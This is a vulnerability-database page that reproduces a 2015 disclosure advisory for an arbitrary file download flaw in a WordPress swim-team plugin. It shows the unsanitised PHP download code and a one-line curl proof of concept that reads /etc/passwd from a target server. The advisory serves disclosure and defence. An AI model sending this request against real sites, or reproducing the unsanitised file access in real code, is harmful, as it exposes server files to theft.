Lucene search
+L

WordPress Plugin Swim Team 1.44.10777 - Arbitrary File Download

🗓️ 13 Jul 2015 00:00:00Reported by Larry W. CashdollarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

WordPress Plugin Swim Team 1.44.10777 - Arbitrary File Download in download.php file allows unauthorized access to sensitive system file

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2015-5471
13 Jul 201500:00
circl
cnvd
CNVD
WordPress Swim Team Plugin Arbitrary File Download Vulnerability
14 Jul 201500:00
cnvd
cve
CVE
CVE-2015-5471
12 Jan 201619:00
cve
cvelist
Cvelist
CVE-2015-5471
12 Jan 201619:00
cvelist
nuclei
Nuclei
Swim Team <= v1.44.10777 - Local File Inclusion
13 Aug 202604:34
nuclei
nvd
NVD
CVE-2015-5471
12 Jan 201619:59
nvd
openvas
OpenVAS
WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP)
20 Nov 202000:00
openvas
patchstack
Patchstack
WordPress Swim Team Plugin <= 1.44.10777 - Absolute Path Traversal
10 Jul 201500:00
patchstack
prion
Prion
Path traversal
12 Jan 201619:59
prion
vulncheck_kev
VulnCheck KEV
VulnCheck KEV: CVE-2015-5471
12 Feb 202600:00
vulncheck_kev
Rows per page
Title: Remote file download vulnerability in Wordpress Plugin wp-swimteam v1.44.10777
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-02
Download Site: https://wordpress.org/plugins/wp-swimteam
Vendor: Mike Walsh www.MichaelWalsh.org
Vendor Notified: 2015-07-02, fixed in v1.45beta3
Vendor Contact: Through website
Advisory: http://www.vapid.dhs.org/advisory.php?v=134
Description: Swim Team (aka wp-SwimTeam) is a comprehensive WordPress plugin to run a swim team including registration, volunteer assignments, scheduling, and much more.
Vulnerability:
The code in ./wp-swimteam/include/user/download.php doesn't sanitize user input from downloading sensitive system files:


 50             $file = urldecode($args['file']) ;
 51             $fh = fopen($file, 'r') or die('Unable to load file, something bad has happened.') ;
 52
 53             while (!feof($fh))
 54                 $txt .= fread($fh, 1024) ;
 55
 56             //  Clean up the temporary file - permissions
 57             //  may prevent this from succeedeing so use the '@'
 58             //  to suppress any messages from PHP.
 59
 60             @unlink($file) ;
 61         }
 62
 63         $filename = urldecode($args['filename']) ;
 64         $contenttype = urldecode($args['contenttype']) ;
 65
 66         // Tell browser to expect a text file of some sort (usually txt or csv)
 67
 68         header(sprintf('Content-Type: application/%s', $contenttype)) ;
 69         header(sprintf('Content-disposition:  attachment; filename=%s', $filename)) ;
 70         print $txt ;

CVEID:
OSVDB:
Exploit Code:

  • $ curl "http://server/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation